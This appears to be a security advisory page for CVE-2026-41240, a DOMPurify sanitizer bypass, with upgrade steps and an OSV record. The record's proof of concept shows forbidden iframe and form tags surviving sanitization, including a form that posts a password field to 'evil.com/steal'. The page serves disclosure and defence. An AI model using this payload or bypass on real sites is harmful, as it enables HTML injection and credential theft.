CVE-2026-41240: DOMPurify FORBID_TAGS Bypassed By Function-based ADD_TAGS Vulnerability
MODERATECVE-2026-41240 is a MODERATE forbid_tags bypassed by function-based add_tags vulnerability (CWE-183: Permissive List of Allowed Inputs) affecting DOMPurify libraries in the npm ecosystem. The issue involves forbid_tags bypassed by function-based add_tags predicate (asymmetry with forbid_attr fix). Remediation is available by upgrading affected packages to version 3.4.0.
CVE-2026-41240 at a Glance
How to Fix CVE-2026-41240
To remediate this vulnerability, upgrade all affected DOMPurify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install dompurify@3.4.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls dompurify
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-41240, inspect your project dependencies using npm:
npm ls dompurify
Analyze the terminal output to locate any version of DOMPurify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.4.0), your application is affected.
Note: The npm ls dompurify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-183: Permissive List of Allowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. In DOMPurify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-41240 Affected DOMPurify Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dompurify
|
npm |
< 3.4.0
|
3.4.0
|
References
Frequently Asked Questions
What is CVE-2026-41240?
Which DOMPurify versions are affected?
What version fixes CVE-2026-41240?
Is dompurify affected?
What CWE is associated with CVE-2026-41240?
How can I check npm dependencies for CVE-2026-41240?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h7mw-gpvr-xq4m",
"modified" : "2026-04-27T16:32:31Z",
"published" : "2026-04-22T17:34:17Z",
"aliases" : [ "CVE-2026-41240" ],
"summary" : "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)",
"details" : "There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n if (FORBID_ATTR[lcName]) {\n return false;\n }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n if (\n !(\n EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&\n EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits\n ) &&\n (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated\n ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n const DOMPurify = createDOMPurify(window);\n\n DOMPurify.sanitize(\n '<iframe src=\"https://evil.com\"></iframe>',\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: ['iframe']\n }\n );\n // Returns: '<iframe src=\"https://evil.com\"></iframe>'\n // Expected: '' (iframe forbidden)\n\n DOMPurify.sanitize(\n '<form action=\"https://evil.com/steal\"><input name=password></form>',\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: ['form']\n }\n );\n // Returns: '<form action=\"https://evil.com/steal\"><input name=\"password\"></form>'\n // Expected: '<input name=\"password\">' (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n DOMPurify.sanitize(\n '<p onclick=\"alert(1)\">hello</p>',\n {\n ADD_ATTR: function(attr) { return true; },\n FORBID_ATTR: ['onclick']\n }\n );\n // Returns: '<p>hello</p>' (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n if (FORBID_TAGS[tagName]) {\n // proceed to removal logic\n }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "dompurify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.4.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41240"
}, {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/cure53/DOMPurify"
}, {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-183", "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-22T17:34:17Z",
"nvd_published_at" : "2026-04-23T16:16:26Z"
}
}